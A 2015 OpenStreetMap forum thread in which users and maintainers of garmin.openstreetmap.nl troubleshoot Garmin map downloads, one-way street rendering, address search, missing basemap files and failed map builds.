If you don't want the windows installer, you can use the _macosx.zip = Installer for Garmin BaseCamp/RoadTrip (Mac OSX)
Unzip it and place the .gmap folder to the default Garmin map folder. The location of this folder depends on the Windows version.
In Vista or W7 this is: C:\ProgramData\GARMIN\Maps or C:\Users{user}\AppData\Roaming\GARMIN\Maps (please note this is a hidden folder!)
Windows XP: c:\documents and settings\all users\application data\garmin\mapsOr you can use http://www.javawa.nl/gmtk_en.html to install the gmap maps (still needed in case of more custom maps with the same Family ID)
- Re: Worldwide routable Garmin maps: URL REMOVED · Justin Leitgeb (Gast) · 18.02.2015 09:18 · [flux]
Hi folks,
First, thanks for providing this useful tool.
I recently posted a problem that I came across to the OpenStreetMap help forum. Basically it seems like one-way streets tagged with "-1" are rendered in the incorrect direction. I don't think this affects routing. More details are in my post on the help forum:
https://help.openstreetmap.org/question … -on-garmin
I think this may be what user Skippern posted previously on this thread:
http://forum.openstreetmap.org/viewtopi … 08#p469308
Any thoughts on what may be causing this problem? I'm happy to dive in further, just wanted to check here first to see if anyone could provide me with a pointer about where this may be occurring.
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · Justin Leitgeb (Gast) · 18.02.2015 09:31 · [flux]
It looks like this issue (wrong direction indicated on oneway=-1 roads) was discussed recently on the mkgmap-dev list:
http://www.mkgmap.org.uk/pipermail/mkgm … 19679.html
A bit later in that thread WanMil proposes a solution (http://www.mkgmap.org.uk/pipermail/mkgm … 19681.html):
with r2944 normalization of oneway roads to oneway=yes has been moved. I think this is the reason for the effect you observe.
You should be able to fix the problem by assigning the same code 0x10007 either to oneway=yes and to oneway=-1 roads.
I think we need to clarify that the direction of oneway roads is always normalized to oneway=yes. So direction oriented typ items must be drawn accordingly.
Would this fix the issue that I'm seeing on http://garmin.openstreetmap.nl?
Thanks very much!
- Re: Worldwide routable Garmin maps: URL REMOVED · hbartolin (Gast) · 18.02.2015 14:56 · [flux]
Hi,
my english in not my first language. If you open http://garmin.openstreetmap.nl/ there is just one entry "Choose a predefined country". You can select one under Africa and one under Europe, only last will show. Bug, or not? Would be nice if I can select multiples countries?
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 18.02.2015 21:10 · [flux]
Works for me. If you still have this problem:
Try clearing your browser cache, reload page, clear cookies, a different browser.
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 19.02.2015 07:32 · [flux]
I too am unable to select multiple predefined countries from the drop down boxes.
The only way I can add to the initially preselected predefined country is by enabling manual tile selection and select further tiles individually or by dragging over several tiles.
I expected this to be the normal behaviour.
I am using an imac 10.10.2 and have tried firefox, chrome & safari. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.02.2015 08:11 · [flux]
nevw wrote:
I too am unable to select multiple predefined countries from the drop down boxes.
What do you see? Are there countries in the list? If so, what happens when you click on one?
The only way I can add to the initially preselected predefined country is by enabling manual tile selection and select further tiles individually or by dragging over several tiles.
I expected this to be the normal behaviour.This is normal, after you have selected a country.
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 19.02.2015 08:14 · [flux]
I just tried this again. If I am very quick and click a country before the map has loaded then it will fail. If you have a slow connection then this might be happening to you.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.02.2015 09:04 · [flux]
Justin Leitgeb wrote:
It looks like this issue (wrong direction indicated on oneway=-1 roads) was discussed recently on the mkgmap-dev list:
http://www.mkgmap.org.uk/pipermail/mkgm … 19679.html
A bit later in that thread WanMil proposes a solution (http://www.mkgmap.org.uk/pipermail/mkgm … 19681.html):
with r2944 normalization of oneway roads to oneway=yes has been moved. I think this is the reason for the effect you observe.
You should be able to fix the problem by assigning the same code 0x10007 either to oneway=yes and to oneway=-1 roads.
I think we need to clarify that the direction of oneway roads is always normalized to oneway=yes. So direction oriented typ items must be drawn accordingly.
Would this fix the issue that I'm seeing on http://garmin.openstreetmap.nl?
Thanks very much!
Thanks for the report Justin! It should be fixed in the next update (if the next one is already being compiled, the one after that).
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.02.2015 11:00 · [flux]
hbartolin wrote:
Hi,
my english in not my first language. If you open http://garmin.openstreetmap.nl/ there is just one entry "Choose a predefined country". You can select one under Africa and one under Europe, only last will show. Bug, or not? Would be nice if I can select multiples countries?
This is a problem on your side unfortunately. Clearing the browser cache might fix this or you may need to wait a bit longer for the site to load properly.
nevw wrote:
I too am unable to select multiple predefined countries from the drop down boxes.
The only way I can add to the initially preselected predefined country is by enabling manual tile selection and select further tiles individually or by dragging over several tiles.
I expected this to be the normal behaviour.
I am using an imac 10.10.2 and have tried firefox, chrome & safari.Yes, that is the normal behaviour, there is no option to select multiple predefined countries.
Beddhist wrote:
I just tried this again. If I am very quick and click a country before the map has loaded then it will fail. If you have a slow connection then this might be happening to you.
hbartolin wrote:
Hi,
my english in not my first language. If you open http://garmin.openstreetmap.nl/ there is just one entry "Choose a predefined country". You can select one under Africa and one under Europe, only last will show. Bug, or not? Would be nice if I can select multiples countries?
Yes, multiple things are loaded asynchronously after the initial opening of the website. It is wise to wait a little when you're on a slow connection (or when the website is slow).
ligfietser wrote:
Thanks for the report Justin! It should be fixed in the next update (if the next one is already being compiled, the one after that).
The last update is still running and appears to stuck in a loop for over a week. I've killed it. Will update to the latest Mkgmap and restart the map update.
Edit:
A bit of digging revealed that the long runtime is caused by an error in the style file:Error␣in␣style:␣Error:␣Unknown␣filter␣'not-contained' Could␣not␣open␣style␣default
From looking at the Mkgmap commit history I guess this is fixed by using the latest Mkgmap version. 🙂
- Re: Worldwide routable Garmin maps: URL REMOVED · marty53 (Gast) · 19.02.2015 12:29 · [flux]
Hi,
I'm pretty new to openstreetmap and use Qlandkarte and Qmapshack on Ubuntu. After I downloaded the tiles for South Korea and opened the map in Qlandkarte I did not know which img file is my basemap. I tried one by one but always only saw one tile of South Korea and the rest was blank. Only with the help of #qlandkarte I learnt that I have to use one of the ovm_*.img filesand then zoom in far enough. Only at scale <=10km the other tiles would start showing up (see http://postimg.org/image/eziodmnr5/ how it initially looks).
The much more knowledgeable guys in #qlandkarte pointed out that the archive I downloaded is missing a basemap. I thought I share that with you. Is it possible to add a basemap easily? And maybe it helps other novice users of qlandkarte/garmin.openstreetmap.nl.Here an excerpt of the conversation in #qlandkarte:
21:16] <k> For me this is just a malformed map
[21:18] <k> I wonder, because that site is well known, but probably they focus more on ready made gmapsupp
[21:18] <z> The ready-made gmapsupp contains a valid basemap.
[21:21] <z> http://osm.pleiades.uni-wuppertal.de/ga … 28bf91e7d/
[21:21] <z> There's a zip file with tiles
[21:23] <k> ok, maybe someone should tell them, that a simple basemap is missing
[21:23] <k> btw the basemap is not part of the gmapsup
[21:24] <k> but your command creates a simple one from the bounding box
[21:33] <k> usually it's fine if the basemap contains the bounding box and a box for each tile
[21:33] <k> these boxes are used to select tiles to be combined into a gmapsupp
[21:34] <k> but since the new devices this is not done very often anymore
[21:35] <k> thus a bounding box will do - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 19.02.2015 15:26 · [flux]
Thanks for reporting Marty. There should be a basemap (23442000.img) inside of the osm_generic_tiles.zip but it is missing. Also the *_mdr.img is missing, so I'm afraid that something went wrong in the generating process. The mapsource exe version does contain those files, but I'm not sure if you can open this on your system.
Lambertus, can you check why the osm_generic_tiles.zip dont contain those basemap and index files anymore?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 19.02.2015 17:06 · [flux]
ligfietser wrote:
Thanks for reporting Marty. There should be a basemap (23442000.img) inside of the osm_generic_tiles.zip but it is missing. Also the *_mdr.img is missing, so I'm afraid that something went wrong in the generating process. The mapsource exe version does contain those files, but I'm not sure if you can open this on your system.
Lambertus, can you check why the osm_generic_tiles.zip dont contain those basemap and index files anymore?
The commandline for the zip compilation was not complete (probably has been this way for a long time). Should be fixed now for any new country map that is being generated (not for all those already existing country maps!).
- Re: Worldwide routable Garmin maps: URL REMOVED · Stuart in Curacao (Gast) · 21.02.2015 06:45 · [flux]
Hi All!
I just used http://garmin.openstreetmap.nl to build a new map for my garmin (great tool thanks!)
However, there are bike routes located on OSM that do not appear in the new map.
I know this because these are new routes that were added a few days ago. (note the routes are already on OSM)
Is there a delay in the map update for http://garmin.openstreetmap.nl - or is there another reason for this issue? Thanks in advance for your help!
(sorry if this has been answered before - i searched but did not see a similar topic)
- Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 21.02.2015 07:22 · [flux]
The map is updated every week or so. You can see the date just under the big blue map on the web site.
- Re: Worldwide routable Garmin maps: URL REMOVED · Stuart in Curacao (Gast) · 21.02.2015 15:34 · [flux]
Beddhist wrote:
The map is updated every week or so. You can see the date just under the big blue map on the web site.
Ah, I understand now, thanks much!
- Re: Worldwide routable Garmin maps: URL REMOVED · Diana Tashjian (Gast) · 03.03.2015 00:28 · [flux]
I bought a Garmin Edge Touring in California. I am able to download the cycle map for California and everything seems to work. But when I download the cycle map for France I don't get any POIs and am having trouble even seeing the map. Can someone help me please?
Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · diac87 (Gast) · 03.03.2015 15:55 · [flux]
Address search is not working at all with any maps from garmin.openstreetmap.nl on Garmin Nuvi 2595LMT.
With the same SD card / same map file plugged into a Garmin Nuvi 3790LMT the address search works normally (but the menus are totally different)
I raised this this issue on help.openstreetmap.org and one other person reported same issue with another model: Nuvi 2555LMT.
I tried with different maps, same thing. The map is displayed correctly but address search does not find anything, not even the city or country. For instance I have the map of Switzerland activated, I enter part of the street name, and the autocomplete proposes the correct full name of the street, but then it says it cannot find it. Then I start entering Switzerland in the "Look in..." field, it autocompletes "Switzerland" and then it says "Sorry, we could not find Switzerland".
If I manually zoom on the map to the address I am looking for, I see it, I can put my finger and set the map location as a destination and it will take me there.
Obviously this is not something I want to do when driving on the highway.
I have the latest software updates, but it does not make a difference anyway.
The device works normally with the Garmin pre-loaded North America map.
Any thoughts?
Thanks! - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 03.03.2015 21:50 · [flux]
Looks like a particular issue of this nuvi25xx, given the fact that the same SD card and map work on another nüvi.
I'm afraid Garmin won't listen because they dont support 3rd party OSM map makers like the mkgmap generated maps.
You could try to check if there is a faulty map or another error on your device with Javawa Device manager. - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 03.03.2015 22:01 · [flux]
Interesting, I don't think there is a search problem for this model with maps generated by cgpsmapper, which we use here with NZOpenGPS. This makes me think there is a problem with the compiler.
- Re: Worldwide routable Garmin maps: URL REMOVED · ou8it (Gast) · 05.03.2015 01:20 · [flux]
Hi all, Nice work here! I have a question as a new user of OSM's. I tried to enter my city/town which is "Plains Pa 18705" . Specifically my home address which is Maffett st. Plains Pa don't come up and the only Maffett st that comes up is in Wilkes-Barre Pa which is my neighboring city. That's 2 streets with the same name within 6 miles. Is there something I can do to help map this into a future version? Just curious to the process. I have started mapping some streets here in town with iD OpenStreetMap editor.
Thanks
Frank
ou8it - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 05.03.2015 05:48 · [flux]
Welcome to the forum, Frank.
I have figured out that you are in the US and that Pa stands for Pennsylvania. (Many of us here are not in the US...)
I'm not sure what you entered your search strings into, but on the OSM page searching for "Plains" brings up your town as the 1st result. Entering "Plains Pa" mysteriously shows me Moffet St, Plains, PA. So, both are in the system. If you are searching in your GPS, do you enter a city first? Try searching for the street without entering a city.
If you have made additions to OSM in your are they won't show up until the next map update cycle. The date of the last update is shown under the map on the web page.
Regards,
Peter. - Re: Worldwide routable Garmin maps: URL REMOVED · ou8it (Gast) · 05.03.2015 12:27 · [flux]
Hi and Thanks Peter, When I search for Plains or Plains Township on my Gamin 1300 device I type Plains and as soon as i hit a "space" after the "s" in Plains, it shows 4 towns starting with Plains.
My process is :
press "where to", press address, spell city, I enter Plains and put a space and get :Plains Assembly, Texas
Plains Junction, Pennsylvania
Plains Junction, Texas
Plains Mill, Virginia(I am using the 3-4 2015 release.)
If I go to "where to/cities" It will find Plains Pa. As far as entering Maffett st first it only comes up with Maffett St Wilkes-Barre which is 6 miles away or so.
Thanks
Frank - Re: Worldwide routable Garmin maps: URL REMOVED · Beddhist (Gast) · 05.03.2015 19:43 · [flux]
Try leaving the city field empty when searching for addresses.
- Re: Worldwide routable Garmin maps: URL REMOVED · ou8it (Gast) · 07.03.2015 21:56 · [flux]
I tried to just add street and leave city blank and it only comes up with maffett st Wilkes-Barre Pa . Can someone add Plains or make the connection? On other GPS devices it is called Plains Township, Pa. I'm not sure of the process but Plains and Wilkes-Barre Pa are 2 different towns/cities and both have a Maffett st.
Thanks
Frank - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 13.03.2015 19:19 · [flux]
Your GPS cannot find this street in Plains because the administrative boundaries for Plains on OSM are incomplete or missing.
The map needs this data to assign Maffet street to the correct place. It can find it in Wilkes-Barre because here the administrative boundaries are mapped in OSM: http://www.openstreetmap.org/relation/187994
So in order to improve the search function, the boundaries for Plains must be entered on OSM. Maybe all the boundaries are already there, but none is assigned to Plains as relation. - Re: Worldwide routable Garmin maps: URL REMOVED · ou8it (Gast) · 24.03.2015 00:36 · [flux]
Thanks for pointing me in the right direction. I found a couple videos on YouTube but nothing on adding or assigning existing boundaries. I'm not sure if ill figure this out but I'll give it a go.
- Re: Worldwide routable Garmin maps: URL REMOVED · juanzaratiegui (Gast) · 25.03.2015 08:28 · [flux]
Dear Lambertus.
Thank you for your effort. This is an awesome tool for those of us that are not experts and need an easy way to get OMS maps in our Garmin devices.
I have been making some improvements to the Vietnam OSM maps lately, and I can´t wait to see how they are presented in my GPS.When are you planning to make the next update of the map?
Thanks again.
Juan
- Re: Worldwide routable Garmin maps: URL REMOVED · Passero (Gast) · 31.03.2015 20:34 · [flux]
Hi! This service is wonderful! I have a question.
I downloaded the set of tiles for Oman in form of img file, I uploaded it successfully on my Garmin, and I can search street in the capital city - Muscat.
But cities of a whole region on the eastern part of Oman are not available for a search address. Such cities are perfectly found in openstreetmap. Here an example with the city of Ibrahttp://www.openstreetmap.org/node/22124 … 96/58.5470
What am I doing wrong on my Garmin?
Thank you in advance
Daniele - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.04.2015 08:22 · [flux]
juanzaratiegui wrote:
Dear Lambertus.
When are you planning to make the next update of the map?An update is running, the two generic maps are already available, the openfietsmap update is still running
Passero wrote:
Hi! This service is wonderful! I have a question.
I downloaded the set of tiles for Oman in form of img file, I uploaded it successfully on my Garmin, and I can search street in the capital city - Muscat.
But cities of a whole region on the eastern part of Oman are not available for a search address. Such cities are perfectly found in openstreetmap. Here an example with the city of Ibrahttp://www.openstreetmap.org/node/22124 … 96/58.5470
What am I doing wrong on my Garmin?
The Garmin maps by garming.osm.nl use a Latin1 character encoding, so there is only Roman-like texts in the map. Since the website does not have Arabic transliteration capabilities, only places and streets with translated names are correctly included in the maps.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.04.2015 08:49 · [flux]
@Lambertus,
Could you manage to point your scripts to the style sheets on Github? (The former styles on Google code are not longer maintained and will be removed by Google sooner or later)Thanks to Harry vd Wolf and OSM France I have uploaded the French open address database BANO. Can you merge this with the planet OSM data (same procedure as the Belgium address data)?
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 01.04.2015 10:41 · [flux]
ligfietser wrote:
@Lambertus,
Could you manage to point your scripts to the style sheets on Github? (The former styles on Google code are not longer maintained and will be removed by Google sooner or later)I tried, but the path names within the typ and style directories have changed and require more changes in my code. It took too long in my opinion and thus started the update using the Google Code repository.
Thanks to Harry vd Wolf and OSM France I have uploaded the French open address database BANO. Can you merge this with the planet OSM data (same procedure as the Belgium address data)?
Yes.
- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 01.04.2015 14:47 · [flux]
I usually download the Mac Pakage to install OSM Garmin maps on my Win computer with BaseCamp. It works fine, thanks to everybody involved in this project.
Then I use MapInstall (from BaseCamp) to install maps on my Montana device. This works fine as well. The search function works, too.
On the other site, if I simply copy the gmapsupp.img on my device as recomended, the search function doesn't work.
I checked this right now: I've searched an address in Prag, the capital of Czech Republic, on my Montana. The city of Prag was not found! The same search with the same map in BaseCamp was ok. After this I've reinstalled the map with MapInstall from BaseCamp (install map on SD-card) - and everything was good.
I believe the instructions on this site should be updated. A lot of people complain about search function, maybe because they simply copy the gmapsupp.img instead of using MapInstall.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 01.04.2015 21:42 · [flux]
monviso wrote:
I believe the instructions on this site should be updated. A lot of people complain about search function, maybe because they simply copy the gmapsupp.img instead of using MapInstall.
No, this should work normally. Sounds more like an index problem of the gmapsupp.img. Did you try the latest map release of this week, and which map exactly?
- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 02.04.2015 09:00 · [flux]
ligfietser wrote:
Sounds more like an index problem of the gmapsupp.img.
Yes, I think so, too.
ligfietser wrote:
Did you try the latest map release of this week, and which map exactly?
I've tried it several times with different maps in past one or two years. It is allways the same. That's why I allways install maps first in BaseCamp and then from BaseCamp on my device.
I've checked the copy way a a few days ago only to see, if someting changed.
I've also seen, that the downloded gmapsupp.img and the gmapsupp.img after BaseCamp installation on the device have different size.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2015 10:25 · [flux]
Tested the map of Czech Republic with the gmapsupp.img version, I can find Prague or Praha or an address so I dont know why this doesn't work for your device. It is true that the gmapsupp version produced with Basecamp or Mapsource is different and might have a better search index, because the gmapsupp.img from garmin.openstreetmap.nl is generated with mkgmap software. This is software is developed by 'reverse engineering' because Garmin doesn't provide the code for its maps, and therefore it could not produce an optimal search index. But anyway, its not true that it can't find anything or "does not work".
- Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 02.04.2015 11:06 · [flux]
ligfietser wrote:
But anyway, its not true that it can't find anything or "does not work".
Yes, you are right. I mean with "does not work" it does not work 100%. I can find some places, but some not.
I don't know, if this is important: I don't use one country maps. I work with manual tile selection (e.g. a part of Germany + Czech + Austria).
And the described behavior is definitiv true at least on my Montana, and it is reproducible.
It does not matter, if somebody has this problem, the solution is the installation from BaseCamp.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2015 11:43 · [flux]
Ok, I understand, thanks for your input. The manual tile selection has a different processing regarding the compilation of a gmapsupp.img so yes it can be important. Could you verify if for instance the Czech map alone produce a different search result?
In order to test it correctly, make sure there are no other maps on your device. Even if they are not activated, those map indexes will be used (and possibly disorder the search) by the device, so rename the extension .img temporarily. - Re: Worldwide routable Garmin maps: URL REMOVED · monviso (Gast) · 02.04.2015 12:42 · [flux]
Yes, the Czech one country map works fine. I've tried 7 different addresses to search - founded! We are a step further. :-)
Thanks for your attention.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2015 13:01 · [flux]
Thanks! We'll have look at the combined map, maybe the search index is missing there. Lambertus, can you check if --index is used?
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 02.04.2015 17:37 · [flux]
@Lambertus, the search index is fine, and the search index of a big custom map too (Monviso reported me it is working for him too) so I guess those problems were caused by either experimental mkgmap versions or missing parameters in the upload scripts which seem corrected now.
- Re: Worldwide routable Garmin maps: URL REMOVED · flightmaker (Gast) · 04.04.2015 12:54 · [flux]
Is the 2015-03-29 version of the Garmin map broken? I tried it out yesterday and it just didn't work. The Garmin went back to its built in base mapping. I put back the previous map version I was using and the Garmin works again.
Dave
- Re: Worldwide routable Garmin maps: URL REMOVED · nevw (Gast) · 04.04.2015 15:01 · [flux]
Which part of the osm universe do you speak for?
- Re: Worldwide routable Garmin maps: URL REMOVED · flightmaker (Gast) · 04.04.2015 15:55 · [flux]
I downloaded the Garmin format map file, as usual, from http://garmin.openstreetmap.nl/ for the UK. Also tried selecting UK plus some additional tiles to make the server do a fresh file but it still didn't work.
Am using the etrex Legend HCx.
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 04.04.2015 16:15 · [flux]
Sometimes issues occur when having several mapsets on the device with duplicate tiles. You can check this with http://www.javawa.nl/jdm_en.html
Don't know if this the case here? - Re: Worldwide routable Garmin maps: URL REMOVED · flightmaker (Gast) · 04.04.2015 16:23 · [flux]
The only file on the card is /Garmin/gmapsupp.img
I use Linux Mint BTW.
- Re: Worldwide routable Garmin maps: URL REMOVED · Passero (Gast) · 17.04.2015 05:57 · [flux]
Lambertus wrote:
Passero wrote:
Hi! This service is wonderful! I have a question.
I downloaded the set of tiles for Oman in form of img file, I uploaded it successfully on my Garmin, and I can search street in the capital city - Muscat.
But cities of a whole region on the eastern part of Oman are not available for a search address. Such cities are perfectly found in openstreetmap. Here an example with the city of Ibrahttp://www.openstreetmap.org/node/22124 … 96/58.5470
What am I doing wrong on my Garmin?
The Garmin maps by garming.osm.nl use a Latin1 character encoding, so there is only Roman-like texts in the map. Since the website does not have Arabic transliteration capabilities, only places and streets with translated names are correctly included in the maps.
Sorry I don't understand completely. The same map loaded into Basecamp for mac shows the cities (even searchable), which il not the case for the search in the Garmin: many cities appear in the map but are not searchable.
I have a Nüvi 2595 , is it the reason? What should I do? Thank you!Daniele
- Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 17.04.2015 12:11 · [flux]
I downloaded the Oman map, searched for Ibra on my old nüvi 310 and found it. So your nüvi might have an issue. Dont know what you could do about it, sorry.
- Re: Worldwide routable Garmin maps: URL REMOVED · flightmaker (Gast) · 17.04.2015 14:45 · [flux]
flightmaker wrote:
I downloaded the Garmin format map file, as usual, from http://garmin.openstreetmap.nl/ for the UK. Also tried selecting UK plus some additional tiles to make the server do a fresh file but it still didn't work.
Am using the etrex Legend HCx.
I've been watching the date of the Open Street Map version used to derive the Garmin images, but it has not yet changed from 29th March.
HOWEVER this morning I tried doing a repeat download of the same UK image. Looking at the file properties, it's exactly the same size as the one which wouldn't work for me but the date is later. Investigating further from a Linux terminal,
dave@Tosh-NB520:~/Downloads/Garmin/NormalMaps$ cmp gmapsupp.img\ \(2\) gmapsupp.img\ \(3\)
gmapsupp.img (2) gmapsupp.img (3) differ: byte 11, line 1
dave@Tosh-NB520:~/Downloads/Garmin/NormalMaps$So the image file has been updated, and now, IT WORKS!
- Re: Worldwide routable Garmin maps: URL REMOVED · rovingmedic (Gast) · 04.05.2015 06:48 · [flux]
Hi Lambertus,
I have been a contributer to OSM and a user of your maps for a few years now. Thank you for providing such a great service.I have noticed that the download site has not been updated since 29 March 2015. Is there a problem? Any idea when the site will be updated again? I'm sure I'm not alone in asking this question. Just looking forward to having my latest edits (and those of others) available on my GPS.
Thanks again for providing this valuable resource.
Kind regards,
Shaun - Re: Worldwide routable Garmin maps: URL REMOVED · tomconosm (Gast) · 04.05.2015 09:39 · [flux]
I wanted to report an issue/problem with producing a map for a Garmin device. The size produced on the website for "Selected Tiles" is not accurate enough. For instance in this case, the reported size on the web site is 3768MB. However, the size of gmapsupp.img file is 4.17GB. It may not be a large difference, but the problem is that the SD card for my Garmin device must be formatted as FAT32, and the file size limit for FAT32 is 4GB, and therefore i cannot put the generated file on my Garmin device. Is there any way to know more accurately the size of the selected tiles, in order to stay within that size limit?
Also, i tried a second time, by selecting fewer tiles (guessing a bit about what size would be produced). This time the web site reported size of selected tiles as 3230MB. However, this time, i got "Error, too many tiles selected, please limit your selection...". However, this time the selection is smaller than it was the first time.
So, not sure what to make of that error message since the number of tiles selected this time is lower.
I was trying to get all of US and Canada on one device, but apparently it will not all fit, so now trying to get as close as possible to that, while staying under 4GB in file size. Any suggestions?
Thank you for any suggestions.
Tom - Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 05.05.2015 14:46 · [flux]
Anders Hedelund Me too!!
rovingmedic wrote:
Hi Lambertus,
I have been a contributer to OSM and a user of your maps for a few years now. Thank you for providing such a great service.I have noticed that the download site has not been updated since 29 March 2015. Is there a problem? Any idea when the site will be updated again? I'm sure I'm not alone in asking this question. Just looking forward to having my latest edits (and those of others) available on my GPS.
Thanks again for providing this valuable resource.
Kind regards,
Shaun - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 07.05.2015 09:15 · [flux]
The map updates stopped temporarily since Google decided to stop their Google Code project which hosted the stylesheets for this service. The stylesheets have been moved to Github and renamed by Ligfietser. This change needed to be incorporated in the scripts that render and combine the Garmin maps for which I didn't have time since last month was a very busy period for me. However, the changes have been made this week on the special holiday Kingsday here in the Netherlands and a new update has been running since. I expect the new maps to appear around Saturday.
tomconosm wrote:
I wanted to report an issue/problem with producing a map for a Garmin device. The size produced on the website for "Selected Tiles" is not accurate enough. For instance in this case, the reported size on the web site is 3768MB. However, the size of gmapsupp.img file is 4.17GB. It may not be a large difference, but the problem is that the SD card for my Garmin device must be formatted as FAT32, and the file size limit for FAT32 is 4GB, and therefore i cannot put the generated file on my Garmin device. Is there any way to know more accurately the size of the selected tiles, in order to stay within that size limit?
Also, i tried a second time, by selecting fewer tiles (guessing a bit about what size would be produced). This time the web site reported size of selected tiles as 3230MB. However, this time, i got "Error, too many tiles selected, please limit your selection...". However, this time the selection is smaller than it was the first time.
So, not sure what to make of that error message since the number of tiles selected this time is lower.
I was trying to get all of US and Canada on one device, but apparently it will not all fit, so now trying to get as close as possible to that, while staying under 4GB in file size. Any suggestions?
Thank you for any suggestions.
TomIf I recall correctly, the size estimate comes from the actual individual images. The combining of the individual tiles adds a bit of extra bytes for the overview map and such (about 10% apparently). I'll try to add the estimated gmapsupp size to the site as well.
- Re: Worldwide routable Garmin maps: URL REMOVED · andershl (Gast) · 07.05.2015 10:17 · [flux]
Wauw, thx a lot...
- Re: Worldwide routable Garmin maps: URL REMOVED · AlaskaDave (Gast) · 07.05.2015 12:21 · [flux]
The stylesheets have been moved to Github and renamed by Ligfietser.
@Ligfietser,
Can you post a link to those style sheets? I like the new rendering of natural=wood very much but I'm having trouble re-creating it on my maps. Can you also supply the TYP file icons/images?Thanks,
Dave - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 07.05.2015 14:02 · [flux]
Hi Dave, you can find them here: https://github.com/ligfietser/mkgmap-style-sheets
Icons you can find here: http://www.sjjb.co.uk/mapicons/contactsheet - Re: Worldwide routable Garmin maps: URL REMOVED · messpert (Gast) · 17.05.2015 14:31 · [flux]
I don't seem to be able to get the gmapsupp.img from http://garmin.openstreetmap.nl/ today.
I can download directly (or use the make option) an osm_...zip file but it just has the numeric tile .img files but no gmapssupp.img suitable for loading directly onto my etrex sdhc card. Is this a known problem which is being fixed?By the way a great thanks for this service which I use regularly - until now :-(
- Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 17.05.2015 21:02 · [flux]
messpert wrote:
I don't seem to be able to get the gmapsupp.img from http://garmin.openstreetmap.nl/ today.
I can download directly (or use the make option) an osm_...zip file but it just has the numeric tile .img files but no gmapssupp.img suitable for loading directly onto my etrex sdhc card. Is this a known problem which is being fixed?By the way a great thanks for this service which I use regularly - until now :-(
Please post the link to your map. Thanks!
- Re: Worldwide routable Garmin maps: URL REMOVED · kpalser (Gast) · 18.05.2015 21:41 · [flux]
I don't seem to be able to get the gmapsupp.img from http://garmin.openstreetmap.nl/ today.
I can download directly (or use the make option) an osm_...zip file but it just has the numeric tile .img files but no gmapssupp.img suitable for loading directly onto my etrex sdhc card. Is this a known problem which is being fixed?By the way a great thanks for this service which I use regularly - until now :-(
same problem here for the second time - had this problem 2 or 3 weeks before.
First available download contained only the tiles - tried to build a custom map for two times: got only tiles and gmapsupp-files of 22KB(!)
link:
http://sfs4.pleiades.uni-wuppertal.de/g … 701225014/
http://sfs4.pleiades.uni-wuppertal.de/g … 3f3cefb35/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 20.05.2015 16:40 · [flux]
Same problem as previous poster. I tried a number of time yesterday and today with tw different maps. Here is what I get – img file missing:
http://osm2.pleiades.uni-wuppertal.de/g … df9ab41e7/
http://osm.pleiades.uni-wuppertal.de/ga … a7d964b5b/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 20.05.2015 16:44 · [flux]
Tried once more just now:
http://osm2.pleiades.uni-wuppertal.de/g … 5c4d0a964/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lilla22 (Gast) · 21.05.2015 20:01 · [flux]
Some problem again:
http://osm2.pleiades.uni-wuppertal.de/g … df9ab41e7/ - Re: Worldwide routable Garmin maps: URL REMOVED · kpalser (Gast) · 23.05.2015 22:26 · [flux]
same problem again - no chance to get a working map nowadays
http://osm2.pleiades.uni-wuppertal.de/g … f84d9e2a0/ - Re: Worldwide routable Garmin maps: URL REMOVED · Lambertus (Gast) · 24.05.2015 21:29 · [flux]
Thanks for the links. Those are not the same problems though. The last one looks like php crashed because there is no buildlog.txt at all. With others Mkgmap seems to have given up because of 'exit exception'. I've added extra logging and hope it will reveal something.
BTW. I've just browsed through the maps and the failure rate is (guesstimate) far below 10%.
- Re: Worldwide routable Garmin maps: URL REMOVED · kpalser (Gast) · 25.05.2015 12:50 · [flux]
Thanks for your help Lambertus!
Exit exception:
Time started: Mon May 25 13:48:36 CEST 2015
Number of MapFailedExceptions: 0
Number of ExitExceptions: 1
Time finished: Mon May 25 13:48:37 CEST 2015
Total time taken: 1122ms - Re: Worldwide routable Garmin maps: URL REMOVED · ligfietser (Gast) · 25.05.2015 15:12 · [flux]
@Lambertus, looks there is something going wrong during the process
Can't␣open␣script␣"63240000.nsi"
And
Building␣Basecamp/RoadTrip␣installer JaVaWa␣MapConverter␣CLI␣version␣0.7
